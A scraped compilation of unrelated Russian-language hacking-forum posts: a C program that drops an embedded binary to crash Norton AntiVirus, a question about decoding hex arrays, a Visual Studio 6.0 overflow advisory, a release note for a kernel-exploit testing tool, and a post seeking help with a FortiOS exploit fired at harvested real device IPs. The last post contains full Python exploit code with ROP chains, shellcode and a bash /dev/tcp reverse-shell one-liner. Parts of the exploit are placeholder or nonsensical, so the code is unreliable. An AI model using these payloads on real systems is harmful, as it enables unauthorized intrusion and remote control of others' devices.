"\x42\x9E\x3F\xA0\x7F\xFD\xEB\x42\x0D\xCF\x99\xED\x64\xB3\xEC\x58"
"\x73\x4C\x7E\x2E\xCD\x2C\x28\x95\xB5\x9C\xD3\x3B\xD9\x63\x5B\xB8"
"\xAD\xCA\x5D\x9F\x86\xEE\xE9\x0F\x3A\x4B\x47\x1C\xAD\x58\x91\xFC"
"\x5A\x38\x72\xC5\xCA\x26\xF3\x10\x13\x87\x5B\xB1\xCA\x21\xB6\x1E"
"\x0A\x16\x9E\x1A\x7B\xDE\x18\x6B\x57\x3D\x35\xB8\x36\xE9\xAA\xF4"
"\x71\x96\x4F\x8C\xF5\xD3\xB5\x82\xD4\xC0\xD4\x1A\x0B\xAF\x89\x2F"
"\x89\xC2\xD5\x41\x4D\x9B\xFB\x1F\xF9\x0A\x0F\x74\x14\xB0\xB4\xF1"
"\xBD\x2C\x6B\x46\x9A\x97\xE1\x74\xEC\x72\x37\x52\x85\x0D\x0B\x29"
"\xE1\x7B\xF9\x9A\xBD\xAE\x6F\x9E\x53\xB0\xF5\xE8\x71\xF4\x1F\x77"
"\x19\x42\xC5\x7E\xDE\xB2\xC2\x96\x4C\xB2\xA9\x29\xB8\x37\x26\x17"
"\xE8\x85\xCD\xC2\x39\xA0\x8A\x4B\xD1\xAE\x72\xFB\xD1\xCA\xC1\xB4"
"\xFB\x2E\x1F\xFB\x89\xE7\xC3\x83\xF6\x98\xA9\x28\x78\x1D\xCF\xBF"
"\x34\x2C\x9D\xA1\x10\xB9\xB5\x5C\x6D\xE7\xF5\xE6\xFA\x30\x6B\xA2"
"\x83\x92\xDA\xE2\x57\xE7\xD1\x55\x77\x63\xAB\x3F\x57\xA4\xBD\x4B"
"\xE4\x6D\x26\x33\xD8\x59\x4A\x9C\x1D\x65\x70\xB9\x17\xF6\x36\xBD"
"\xB3\x5F\x9B\x1D\xA7\x4D\x51\x6E\x64\x4F\xF0\xD5\x6D\xB1\xEA\x71"
"\xD1\xDF\xDD\x90\x76\xA8\x6A\xA6\x4A\xD1\x8F\xBA\x78\x37\x6B\x30"
"\x7E\x35\x1E\x93\x1B\x7E\x3A\xF6\xCB\x97\xFC\xF6\x2B\x7D\x7F\xA5"
"\xA1\xD0\xA3\xD8\x4D\x7D\x3C\x2E\xC7\x25\x17\x8C\x3A\x94\x64\x76"
"\x6B\xCE\x18\x7B\x4B\x35\x9C\xE8\x2B\x4F\x67\x75\x8B\x4D\x09\x89"
"\x6B\xA0\xF9\xBD\x4F\xC1\x8B\xA9\xDF\x69\xE3\x92\xA3\x56\x2D\x9A"
"\xD5\x4B\xF4\x1D\x0D\x93\x1C\xB6\xD5\xD0\x51\xC5\x38\xD3\xDC\x8B"
"\x0C\x78\x50\xAA\x63\x96\x96\xC7\x47\xDB\xED\xFC\xAF\x53\xAD\x89"
"\x8F\x15\x5F\x77\x46\x79\x06\xF7\xFA\x5A\x26\x2D\x34\x5F\x97\x28"
"\x0F\xC9\xD3\xBA\xC5\xAF\x6F\xC8\x83\x9B\x34\xBE\x8A\x53\xAC\xCF"
"\x3C\x51\xBB\x40\x74\x39\x30\xA0\x8B\xAB\x9E\x48\x2C\x0A\x5E\x41"
"\x90\x71\x73\xBA\x76\xB9\x7E\xD7\xAA\xCD\x5E\x34\x46\x7F\xCE\xA1"
"\xF9\xA7\x3E\x78\xC9\xB3\x62\xFE\xF6\xED\xC5\x59\x94\xEE\x96\xA9"
"\xC2\x85\xBB\xC5\x48\x3F\xAA\xC9\xD5\x97\xB6\x33\x7C\x6A\xE2\xA9"
"\xB8\xD2\x8B\x5C\x99\x38\x5B\x71\x7D\x76\xB2\x64\x89\x9D\x73\x68"
"\xAD\x3E\xAF\x6C\x2F\x76\x6B\xF3\x0A\xEB\xCC\xA3\x5D\x8A\xF8\xB0"
"\x20\x92\x41\xEA\x74\x81\x3E\x17\x27\x6F\x8C\xB5\x72\x03\xE9\xD9"
"\x52\x9F\x50\x40\xC4\x15\x39\x7B\x21\xD4\x48\x24\xFE\x84\x0B\x77"
"\x85\x98\x3D\x39\xDB\xA4\xED\x59\x6F\x68\x95\x05\xB2\xFC\xD3\xE3"
"\xA6\x24\x8A\x63\xD0\xBD\x1E\xF9\x3E\x99\x6E\xEA\x45\x8E\x14\xA3"
"\x93\xBE\x15\x78\x72\x3E\x41\xE4\xB6\x1A\xBA\xB7\xBF\xA7\xCB\x6D"
"\x80\xB6\x63\x2A\x61\x7F\xFB\x3B\x1B\x67\x54\x44\x0C\xF6\xD9\x97"
"\x96\x2A\x6E\xE2\x7C\x77\xDD\xB5\x37\xBB\x1A\x42\x25\xDD\x9D\x63"
"\xF0\xAA\x1E\x6A\xC9\xCB\xFB\xF6\x99\x57\xC6\x91\x44\xD7\x9E\x7D"
"\xAA\xE0\xB7\x57\xD7\x8F\x7B\x15\x5F\x36\xF4\x3C\xA5\xAB\xDB\xAF"
"\x5D\xCB\x72\xC7\x88\x03\xA9\xE7\xA6\xA5\xCD\x81\xC6\xDA\x27\x0F"
"\x8C\x1D\x4B\x4F\x5D\xCA\x78\xBC\x33\xBA\x6F\xB2\xD2\xBC\xF3\x18"
"\x76\xFD\xBD\x93\xD8\xAD\x16\x31\xDE\xFC\x70\xC1\x35\x71\x42\xE6"
"\xE9\x2C\x55\x93\x2C\xE5\xBC\x63\x45\x85\x01\x89\xCF\x0A\xDD\xBA"
"\xCF\x1A\x3A\xFA\x58\x53\xE5\x73\x3F\xD3\x5C\x39\xD9\xBB\xE2\xEF"
"\xEA\xE8\xE4\x65\x5C\x4A\xC1\x73\xC7\x2F\x97\x9D\x4C\xCD\x47\x13"
"\xDA\x51\x36\xAD\x3A\x23\x94\x6E\xAF\x25\x6A\x01\x75\xEB\x99\xD5"
"\x9D\xAF\xF6\x3E\x2F\x7D\x58\xC1\x52\x69\x6C\xD3\x31\x44\x24\x94"
"\xCC\x45\x61\x1A\x91\x75\xE3\x47\x84\x72\xC3\xEA\x2A\x69\x28\x8A"
"\x69\xE7\x91\x57\x6E\x79\x63\xD5\xB2\xBE\xDA\xC8\x1B\xF5\xB8\x7A"
"\x49\x87\xD7\xD1\x59\xF6\x77\x88\x92\xE9\x2E\x15\x16\xEA\x9E\x67"
"\x78\x09\x77\x7A\x33\x4E\x1B\x0C\x1C\xF1\x5D\x76\xF3\x50\x0D\x68"
"\x09\xAC\x5A\x25\x79\xC9\x1D\x54\x92\x59\xF3\x14\xD6\xD3\x14\xDD"
"\xE7\xFA\xF9\xBD\x0B\xB5\x5A\xCE\x76\xBD\x10\x5D\x91\x94\x22\x97"
"\x69\xB7\xA7\x2F\xBD\xBF\xBD\x46\x13\x15\x97\x67\xDE\x79\x99\x62"
"\x24\x1B\xD7\x1D\xDE\xAC\x86\x65\xDB\x38\x6B\x94\xBC\xE9\x79\xA8"
"\xB2\xD3\x8D\xF4\x81\x60\xAB\x9C\x67\x5D\x65\xE5\x1E\x18\x77\x36"
"\xBE\x4F\x75\x32\x21\x1D\xFE\x47\x87\xF9\x29\xB7\xF5\x9D\x35\x17"
"\xA6\xD4\xF7\xD4\x16\x15\x2C\x53\xF6\x49\x3F\x51\x9F\x26\xE6\x8D"
"\xEB\x8E\x84\xC4\x07\x12\x36\xD7\xF4\x96\x56\xE8\xFB\x74\x0D\x8A"
"\xAF\xFD\xAB\xC4\x99\xBF\x66\x28\x33\x22\xD8\x52\xE7\xF7\x86\x6D"
"\xF5\x4E\xE2\x41\xA6\x04\xD3\x7B\xBA\xD9\x5D\xE5\x97\x16\x27\x8B"
"\xD7\x13\x7B\xC2\x82\xDF\xE3\x54\xC4\x92\x6E\x5E\x96\xCF\xDE\xDE"
"\x84\x2A\x3A\x61\xD4\xBC\xDD\x40\xD4\x05\x65\xC5\xB6\x16\x59\xA5"
"\x2C\x22\xF1\xE0\xE0\xD9\xE8\x31\x89\x47\x88\xDA\x69\xAB\x0B\x91"
"\x58\x6E\xD3\xE0\x91\xE5\x0D\xF7\x7D\x9C\xEC\x5C\x1D\xEC\x7B\x75"
"\xAD\x63\xDE\x07\x5C\x39\xF5\x98\x37\x65\xA0\x6C\x1A\x95\x11\xD2"
"\xED\x5F\x97\x51\x52\x62\x9E\x8E\x7F\x20\xCA\xE5\x84\x1B\x49\x7D"
"\x70\xC8\xDF\x2A\xEA\x4D\x67\xE3\x47\xAE\x37\x1A\x6E\x2D\x24\x8E"
"\x85\x36\xFE\xA3\xC6\x75\x0D\x25\xBB\xAE\xD8\x7B\xA8\xF4\x0D\xE5"
"\x99\x89\x37\xBE\xA6\xD6\xCA\x71\x35\x69\x44\xBF\x31\xCC\x53\xBB"
"\x11\xEE\xD6\x7B\xED\xE6\xA9\xA9\x9B\x8E\x73\x96\xB1\x36\x29\xE4"
"\xEC\xF2\xB0\xEE\xA8\x9A\xF8\x85\xBC\x43\x2C\x53\x44\x9B\xC5\x8F"
"\xD6\x35\x03\x33\xEC\x81\x2C\x65\xDC\x49\x92\xED\xAF\x29\x65\x0E"
"\xC5\x91\x02\x6F\x5E\x64\x94\x5E\x3A\x3C\xA9\x99\xB0\x8C\xEB\x88"
"\x7D\x3E\xC1\x1E\x23\x70\x50\x2A\xFA\xDD\x87\x1C\xAA\x18\xD1\x4D"
"\x48\xF0\xF0\x8B\x59\x76\xF1\xE2\xC9\xCA\xA7\x0D\x05\xDE\xDE\x9C"
"\x31\xAD\x6D\x7A\x7A\xFC\x5A\xD6\x82\xB9\x25\x32\xBC\x3C\x22\x62"
"\xCD\x3E\xC2\x5E\x64\x4C\xA8\x9F\x46\x28\xBF\x8D\xC4\xD7\x59\x5A"
"\x8C\xDE\xF8\xB1\xE2\xEC\xBD\x8D\x52\x6A\x72\x5B\xD9\x07\x36\xBB"
"\xBD\xFD\xCD\xD7\x9B\x93\x8B\xF8\x25\x5D\x31\x69\xA4\xF1\x18\x0A"
"\x83\x4F\xAF\xE0\x6D\x3F\x10\xC1\xF3\x35\xC0\x82\x4F\x3D\xAD\x27"
"\xA2\x88\x60\xA1\xE6\x85\xD9\x48\xC3\x4F\xB6\xCC\x8F\xCC\x73\x67"
"\x8D\x21\x3B\x17\x38\x2C\x06\x3D\x0B\xE7\x13\x6E\x0E\x0F\x1E\x5E"
"\xE8\x3D\xEB\xC9\x2D\xD2\x4B\x3C\x89\x5F\x9F\x3E\xBD\xB8\xE4\xD2"
"\xAD\x20\x7F\x72\xBB\x73\xF4\xC9\x97\x32\x46\x0D\xD1\x4F\x27\x4E"
"\x25\x12\x79\xAA\x75\x95\xA4\x03\x44\x54\x42\x31\x45\xE2\x4B\x92"
"\xCD\xED\xB4\x34\xC1\xA7\x42\x17\x63\xE3\x48\xAC\xA2\xA5\x97\x47"
"\x4C\x49\x7E\x65\x84\xA1\xF6\xCC\x71\x59\xDC\xE8\x5F\xD4\x1A\x5C"
"\xD8\x3E\x72\xFF\x0E\xE3\x36\xB4\xD8\xE1\xCF\x67\xB4\xDC\xFE\xAA"
"\x3D\x57\x37\x2E\x5F\x37\x42\xF9\x58\xDD\xBC\xF7\xE0\xF4\x5D\x9F"
"\x2E\x4A\x34\x9B\xD3\x28\x1A\x9D\x55\x91\x92\x5E\xFE\xCA\x1F\x2B"
"\xF0\x64\x62\x76\xA9\x55\xD4\x24\x3A\x28\x41\xA9\x69\x8E\x8C\x91"
"\xF7\xF1\x97\xBE\xE3\x78\x32\xEE\x85\x56\xE5\x53\x33\x3B\x64\x51"
"\xF5\x23\xEF\x56\x22\xA1\xC8\x75\x5B\x1A\xC7\xF0\x79\xC2\xB7\xA6"
"\x51\x6A\xF8\xD6\x7F\x1E\x7E\xF4\x53\xD3\x0A\xF8\x86\xFF\xDB\x3F"
"\x8A\xED\xDF\xA9\xC4\xDF\xC2\x3A\xFF\x50\xFB\x5B\x33\xB8\x69\x5E"
"\xF5\x91\xF6\xCF\x7E\x82\x71\xCB\x2B\x96\x1F\x03\xDF\xFB\x0A\xCA"
"\xE6\x62\x3F\x5F\x64\x9D\xAF\x7C\x5A\xFB\xE4\x97\x1A\xA3\xE7\xE8"
"\x6B\x8C\xB0\xFD\x52\x43\xEA\x97\x1A\xA4\x5F\x6A\xE0\x37\xD0\xD7"
"\x68\x13\xA2\xAF\xA1\xAD\xF1\xBF\xE0\xAA\x8E\x52\x02\x2E\x09\x39"
"\xD7\xF0\x7A\x75\x49\x3A\x26\x79\xFD\xC2\xCD\xAE\x57\x83\xDA\xD5"
"\x0F\x2F\x3B\x5C\x8D\x9C\xFF\x1C\x21\xE0\x15\xC0\xD1\x9A\xB3\x86"
"\x2D\x94\x7E\x4B\xD2\x7F\xA7\x54\xE8\x9C\x43\xD2\x1F\x5F\xCA\x76"
"\x28\x3F\xBD\xAD\xD8\xFA\x8F\x80\xFA\x0F\xDA\x0E\xA7\x38\x5F\x1F"
"\x38\x37\x7F\x3C\x5F\x7D\x4C\xC7\xA4\x35\xC7\x70\xA5\x70\xC0\x5E"
"\x33\xA1\x1F\x13\xB5\x22\x9B\x36\x7F\x3C\x92\x6B\x6C\x50\xB6\x35"
"\x07\xF3\x7B\x61\x50\x27\x49\xDF\xC9\xE7\x70\xC2\x0A\x3A\x21\x33"
"\x48\x77\xBF\xF2\x07\x6D\x2F\x5D\xDD\xBE\xE0\x8C\xCD\xE5\x33\x6B"
"\xC8\xDE\xAF\x6D\x75\x91\xC2\x07\x79\x6A\xCF\xB6\xAC\x73\x58\xFC"
"\x7F\x4B\x28\x83\x25\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\x01\x96"
"\x00\x4B\x30\x61\x89\xBD\x60\x09\xB0\x04\x58\x02\x2C\x01\x96\x00"
"\x4B\x80\x25\xC0\x12\x4C\x58\x42\x09\x2C\x01\x96\x00\x4B\x80\x25"
"\xC0\x12\x60\x09\xB0\x04\x58\x82\x09\x4B\xA8\x82\x25\xC0\x12\x60"
"\x09\xB0\x04\x58\x02\x2C\x01\x96\x00\x4B\x30\x61\x09\x35\xB0\x04"
"\x58\x02\x2C\x01\x96\x00\x4B\x80\x25\xC0\x12\x60\x09\x26\x2C\xA1"
"\x0E\x96\x00\x4B\x80\x25\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\xC1"
"\x84\x25\x34\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\x01\x96\x00\x4B"
"\x80\x25\x98\xB0\x84\x26\x58\x02\x2C\x01\x96\x00\x4B\x80\x25\xC0"
"\x12\x60\x09\xB0\x04\x13\x96\x40\x83\x25\xC0\x12\x60\x09\xB0\x04"
"\x58\x02\x2C\x01\x96\x00\x4B\x30\x61\x89\x63\x60\x09\xB0\x04\x58"
"\x02\x2C\x01\x96\x00\x4B\x80\x25\xC0\x12\x4C\x58\x02\x0B\x96\x00"
"\x4B\x80\x25\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\xC1\x84\x25\xDC"
"\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\x01\x96\x00\x4B\x80\x25\x98"
"\xB0\x84\x3B\x58\x02\x2C\x01\x96\x00\x4B\x80\x25\xC0\x12\x60\x09"
"\xB0\x04\x13\x96\xF0\x00\x4B\x80\x25\xC0\x12\x60\x09\xB0\x04\x58"
"\x02\x2C\x01\x96\x60\xC2\x12\x9E\x60\x09\xB0\x04\x58\x02\x2C\x01"
"\x96\x00\x4B\x80\x25\xC0\x12\xFF\x6C\x89\x0D\x2C\x5B\x10\xFF\xAC"
"\x89\x1F\xD7\x0E\x44\xF9\x79\xC4\x4F\x5B\xA8\x7C\xB7\x05\xE3\x39"
"\x13\x4E\xFA\xB3\xCB\x19\xCF\xA5\x09\xD0\x9F\x53\xCA\x78\xEE\x13"
"\x92\xFE\x4C\x32\xC6\x73\x4A\x3B\xE9\xCF\x1F\x61\x3C\x17\x26\x43"
"\xBF\xD7\x38\xE3\xB9\x26\x65\xFA\x7D\x45\x19\xCF\x6D\xD1\xA2\xDF"
"\x43\x8C\xF1\x9C\xAB\x2E\xFD\x7E\x21\x8C\xE7\xEE\x18\xD1\xAF\x0D"
"\x66\x3C\xB7\x6C\x49\xBF\x0E\x88\xF1\xDC\x1F\x8E\xF4\x73\x7E\x19"
"\xCF\x25\xBA\xD1\xCF\xEF\x61\x3C\xD7\xEB\x4D\xFF\x2F\x8F\xF1\xDC"
"\x6E\x7F\xFA\xEF\x76\x8C\xE7\xFC\xC3\xE8\x8D\x6E\x61\xCC\xBE\xF1"
"\xFB\x88\xC0\xB7\xFB\x1C\x2B\x02\xF1\x30\xE2\xFB\xCB\x7F\x03\x50"
"\x4B\x01\x02\x14\x00\x14\x00\x02\x00\x08\x00\x1B\xAD\x7C\x28\x93"
"\x75\xDC\xC8\xF9\x09\x00\x00\x56\x88\x00\x00\x09\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x20\x00\xB6\x81\x00\x00\x00\x00\x6C\x69\x62"
"\x20\x30\x2E\x7A\x69\x70\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00"
"\x01\x00\x37\x00\x00\x00\x20\x0A\x00\x00\x00\x00";
int main(int argc, char* argv[])
{
FILE *NKfile;
char filenameX[200];
printf("Norton AntiVirus Crash by NAV.kill File & Hide Virus \n");
printf(" Coded by: JAAScois - Web site : www.jaascois.com\n");
ZeroMemory(filenameX,200);
CreateDirectory("c:\\NAVdir",NULL);
strcpy(filenameX,"c:\\NAVdir\\NAV.kill");
NKfile=fopen(filenameX,"w+b");
if(NKfile==NULL){
printf("-Error: fopen \n");
return 0;
}
fwrite(NAVkill,2669,1,NKfile);
fclose (NKfile);
printf("- Created file: NAV.kill ...OK\n- Now scan this folder [C:\\NAVdir\\]
by Norton AntiVirus to Crash !\n\n");
return 0;
}
Извиняюсь если вопрос окажется слишком глупым.
Подскажите как привести подобный код в читаемый вид?
Возможно ли это?
Фрагмент кода.
Code:Copy to clipboard
0x01, 0x00, 0x09, 0x00, 0x00, 0x03, 0x52, 0x1F, 0x00, 0x00, 0x06, 0x00, 0x3D, 0x00, 0x00, 0x00,0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x18, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x03, 0x85, 0x00,0xD0, 0x02, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x08, 0x00, 0xFF, 0xFF,0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x23, 0x00,0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0x00, 0x1B, 0x00, 0x54, 0x4E, 0x50, 0x50, 0x14, 0x00, 0x20, 0x00,0xB8, 0x00, 0x32, 0x06, 0x00, 0x00, 0xFF, 0xFF, 0x4F, 0x00, 0x14, 0x00, 0x00, 0x00, 0x4D, 0x00,0x69, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x0A, 0x00, 0x54, 0x4E,
Если очень неохота отвечать, то подскажите хотя бы, какой направленности нужно поискать статьи. :bang:
Microsoft Visual Studio 6.0 Buffer Overflow Vulnerability
Программа: Microsoft Visual Studio 6.0 (а также Microsoft Development
Environment 6.0) с установленными серви-паками SP6.
Описание:
Уязвимость связана с некорректными процедурами проверки граничных условий при
обработке файлов проектов данных (формат .dbp), а также Visual Studio Solution
(.sln) при обработке слишком длинного поля "DataProject". Наличие уязвимости
может привести к переполнению буфера в стеке с дальнейшим выполнением
произвольных команд с получением полного контроля над регистром EIP.
Приводятся примеры формирования подобных .dbp-файлов
Описание
Источник:http://www.exploit.in/
Состоялся релиз первой (v1.0.0) версии out-of-tree ― инструментария для разработки и тестирования эксплоитов и модулей ядра Linux.
**out-of-tree **позволяет автоматизировать некоторые рутинные действия по созданию окружений для отладки модулей ядра и эксплоитов, генерации статистики надежности эксплоитов, а также предоставляет возможность простой интеграции в CI (Continuous Integration).
Каждый модуль ядра либо эксплоит описывается файлом .out-of-tree.toml
, где
указывается информация о необходимом окружении и (в случае, если это эксплоит)
о ограничениях работы при наличии определенных мер безопасности (security
mitigations).
Также инструментарий позволяет определять конкретные версии ядра, затронутые
уязвимостью (с помощью команды --guess
), а также может использоваться для
упрощения бинарного поиска конкретного коммита.
Далее список изменений со времен версии v0.2.
Добавлено
out-of-tree kernel autogen
) ядер (на основе описания в .out-of-tree.toml
) и запусков проверки (out-of-tree pew) c помощью параметра --max=X
.genall
, позволяющая сгененировать все ядра для определенного дистрибутива и версии.--dist
для команды out-of-tree pew
)out-of-tree debug
) автоматически ищет отладочные символы на хостовой системе.--threads=N
для команды запуска тестирования out-of-tree pew
, с помощью которого можно указать количество потоков, в которых будет выполняться сборка/запуск и тестирование эксплоитов и модулей ядра..out-of-tree.toml
) для эксплоита и модуля ядра добавлена возможность отключать KASLR, SMEP, SMAP и KPTI, а также указывать необходимое количество ядер и памяти.Изменения
out-of-tree
будет пытаться использовать образ наиболее близкой версии. Например, образ Ubuntu 18.04 для Ubuntu 18.10.out-of-tree
будет возвращать отрицательный код ошибки в том случае, если хотя бы один этап (сборка, запуск или тестирование) на любом из ядер был завершен с ошибкой.Удалено
Исправлено
~/.out-of-tree/tmp/
из-за ошибок монтирования внутри docker на некоторых системах.**> >> Документация
[CHANGELOG](https://github.com/jollheef/out-of- tree/blob/master/CHANGELOG.md)
**Подробности
Дисклеймер: Данный вопрос создан в целях повышения уровня безопасности пользования FortiOS и не несет цели распространения нелегальных действий в интернете. Все обсуждение видется для общего понимания уязвимости для предотвращения повторения ошибок в будущем.
Приветсвую. Столкнулся с проблемой того что не могу получить обратный
shell.
Я достал список IP под форти далее Отфильтровал их с помощью этого
гита, пустышка успешно
отправляется
Нашел на этом форуме статью о том как же получит доступ, и наткнулся на
данный пост.
Запускаю данный код и получаю
Bash:Copy to clipboard
python3 main.py
INFO:__main__:[*] Performing heap spray...
/home/for_last_entry/main.py:195: DeprecationWarning: ssl.OP_NO_SSL*/ssl.OP_NO_TLS* options are deprecated
ctx.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1
INFO:__main__:[+] Heap spray successful!
INFO:__main__:[*] Preparing shellcode and reverse shell payload...
INFO:__main__:[*] Sending payload...
INFO:__main__:[+] Vulnerability exploited successfully!
На своем сервере слушаю 4545 с помощью nc. Но там пусто
Начал разбираться в чем может быть проблема. Наткнулся на данную статью
Если кратко тут говорится что возможно на сервере который мы атакуем и вовсе нету NetCat и причина того что я не получаю ничего заключается именно в этом. В этой статье говориться что полезной нагрузкой нужно отправить bash -c 'exec bash -i &>/dev/tcp/IP/4444 <&1' (вместо IP указываем ip атакующего сервера)
Ниже укажу код но вот ключевые вопросы.
1. Есть ли какая то ошибка в моем коде сейчас ? Может я где то указываю
не те ip (вместо ip жертвы указываю ip своего сервера или наобарот) ?
**2. Как мне вместо запуска через nc вставить bash -c 'exec bash -i
&>/dev/tcp/IP/4444 <&1' ?
Пометка к коду: **я указал my_server_ip, но когда запускаю я указываю ip своего атакующего сервера
Python:Copy to clipboard
import socket
import ssl
import struct
import logging
import time
import argparse
# Global variables
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-ip', type=str, required=True, help='IP')
parser.add_argument('-p', '--target-port', type=int, required=True, help='port')
args = parser.parse_args()
s_target_ip = args.target_ip
s_target_port = args.target_port
payload_offset = 0x100
buf_offset = 0x200
write_offset = 0x300
data_addr = 0x123456789abcdef0
gadget_pivot_1 = 0xdeadbeef # Update with your actual gadget address
pc_data_offset = 0x400
evil_method = b'PUT'
symlink_name = "payload.txt" # Update with your symlink name
# Set up logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
import struct
# Define shellcode for fsread payload
def craft_shellcode_fsread(data_addr, symlink_name):
sc = b''
sc += struct.pack('<Q', 0xdeadbeaf)
sc += struct.pack('<Q', 0x000000000042fa18) # : pop rsi ; ret
sc += b'///////\x00'
sc += struct.pack('<Q', 0x000000000042f69e) # : pop rdi ; ret
sc += struct.pack('<Q', data_addr)
sc += struct.pack('<Q', 0x0000000000bc61ae) # : mov qword ptr [rdi], rsi ; ret
sc += struct.pack('<Q', 0x000000000042fa18)
sc += b'/migadmi'
sc += struct.pack('<Q', 0x000000000042f69e)
sc += struct.pack('<Q', data_addr + 0x8)
sc += struct.pack('<Q', 0x0000000000bc61ae)
sc += struct.pack('<Q', 0x000000000042fa18)
sc += b'n/fonts/'
sc += struct.pack('<Q', 0x000000000042f69e)
sc += struct.pack('<Q', data_addr + 0x10)
sc += struct.pack('<Q', 0x0000000000bc61ae)
sc += struct.pack('<Q', 0x000000000042fa18)
sc += struct.pack('8s', symlink_name.encode())
sc += struct.pack('<Q', 0x000000000042f69e)
sc += struct.pack('<Q', data_addr + 0x18)
sc += struct.pack('<Q', 0x0000000000bc61ae)
sc += struct.pack('<Q', 0x000000000042f69e) # : pop rdi ; ret
sc += struct.pack('<Q', data_addr)
sc += struct.pack('<Q', 0x00000) # : pop rsi ; ret
sc += struct.pack('<Q', data_addr + 0x8)
sc += struct.pack('<Q', 0x000000000051e0bb) # : pop rax ; ret
sc += struct.pack('<Q', 88)
sc += struct.pack('<Q', 0x0000000000401ca8) # : syscall
return sc
# Define shellcode for reverse shell payload
def craft_shellcode_reverse_shell(target_ip, target_port):
shellcode = (
b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2" # Zero out registers
b"\x52\x57\x48\x8d\x3c\x24\x48\x31\xc0\xb0\x02\x0f\x05" # socket syscall
b"\x48\x89\xc7\x48\x31\xc0\xb0\x02\x66\xc7\x44\x24\x02" # Connect to target IP and port
+ struct.pack("!H", target_port) +
socket.inet_aton(target_ip) +
b"\x48\x89\xe6\x48\x31\xd2\xb2\x10\x48\x31\xc0\xb0\x29" # syscall to socket
b"\x0f\x05\x48\x89\xc2\x52\x48\x8d\x3c\x24\x48\x31\xc0" # syscall to connect
b"\xb0\x02\x0f\x05\x48\x31\xff\x48\xff\xc7\x48\x31\xc0" # Write syscall
b"\x48\x31\xf6\x48\x31\xd2\x48\x89\xe6\x48\x89\x54\x24"
b"\x08\x48\x8b\x74\x24\x08\x48\x31\xc0\xb0\x21\x0f\x05" # execve syscall
b"\x48\x31\xff\x48\xff\xc7\x48\x31\xc0\xb0\x21\x0f\x05" # execve syscall
)
return shellcode
# Define ROP chain for mprotect
def craft_rop_mprotect(data_addr):
sc = b''
sc += struct.pack('<Q', 0xdeadbeaf)
sc += struct.pack('<Q', 0x00000000004d25ec) # : pop rcx ; ret
sc += struct.pack('<Q', 0xffffffffffffe000) # -0x2000
sc += struct.pack('<Q', 0x00000000011face0) # : add rdi, rcx ; xor eax, eax ; mov byte ptr [rdi], 0 ; pop rbp ; ret
sc += struct.pack('<Q', 0xdeadbeaf)
sc += struct.pack('<Q', 0x00000000004d25ec) # : pop rcx ; ret
sc += struct.pack('<Q', 0xfffffff0) # : -0x10 & 0xFFffFFff
sc += struct.pack('<Q', 0x000000000042fdc5) # : pop rdx ; ret
sc += struct.pack('<Q', 7)
sc += struct.pack('<Q', 0x000000000042fa18) # : pop rsi ; ret
sc += struct.pack('<Q', 0x5000)
sc += struct.pack('<Q', 0x000000000042f69e) # : pop rdi ; ret
sc += struct.pack('<Q', data_addr)
sc += struct.pack('<Q', 0x000000000042f080) # : call rax
return sc
def create_ssl_socket(target_ip, target_port, auto_handshake=1):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1
ctx.options |= ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3
ctx.options |= ssl.OP_NO_COMPRESSION
ctx.protocol.read_only_attribute = ssl.PROTOCOL_TLSv1_2
sock = socket.create_connection((target_ip, target_port))
ssl_sock = ctx.wrap_socket(sock, server_hostname=target_ip, do_handshake_on_connect=auto_handshake)
return ssl_sock
# Perform heap spray
def do_heap_spray():
try:
logger.info("[*] Performing heap spray...")
spray_sock = create_ssl_socket(s_target_ip, s_target_port, 0)
# Perform heap spray operations here
spray_sock.close()
logger.info("[+] Heap spray successful!")
except Exception as e:
logger.error("Heap spray failed: %s" % str(e))
raise
# Exploit function
def do_exploit():
try:
do_heap_spray()
time.sleep(3)
logger.info("[*] Preparing shellcode and reverse shell payload...")
reverse_shell_payload = craft_shellcode_reverse_shell("my_server_ip", 4545)
shellcode_fsread = craft_shellcode_fsread(data_addr, symlink_name)
rop_payload = craft_rop_mprotect(data_addr)
logger.info("[*] Sending payload...")
payload_data = b''
payload_data += b'A' * payload_offset
payload_data += reverse_shell_payload
payload_data += b'B' * (buf_offset - payload_offset - len(reverse_shell_payload))
payload_data += shellcode_fsread
payload_data += b'C' * (write_offset - buf_offset - len(shellcode_fsread))
payload_data += rop_payload
payload_data += b'D' * (write_offset - buf_offset - len(rop_payload))
payload_data += struct.pack('<Q', gadget_pivot_1) # ret gadget
payload_data += struct.pack('<Q', data_addr + pc_data_offset)
payload_header = b''
payload_header += b'POST ' + evil_method + b' HTTP/1.1\r\n'
payload_header += b'Host: ' + s_target_ip.encode() + b':' + str(s_target_port).encode() + b'\r\n'
payload_header += b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/95.0.4638.69 Safari/537.36\r\n'
payload_header += b'Content-Length: ' + str(len(payload_data)).encode() + b'\r\n'
payload_header += b'\r\n'
payload_sock = create_ssl_socket(s_target_ip, s_target_port, 0)
payload_sock.sendall(payload_header + payload_data)
logger.info("[+] Vulnerability exploited successfully!")
except Exception as e:
logger.error("Exploit failed: %s" % str(e))
raise
# Main function
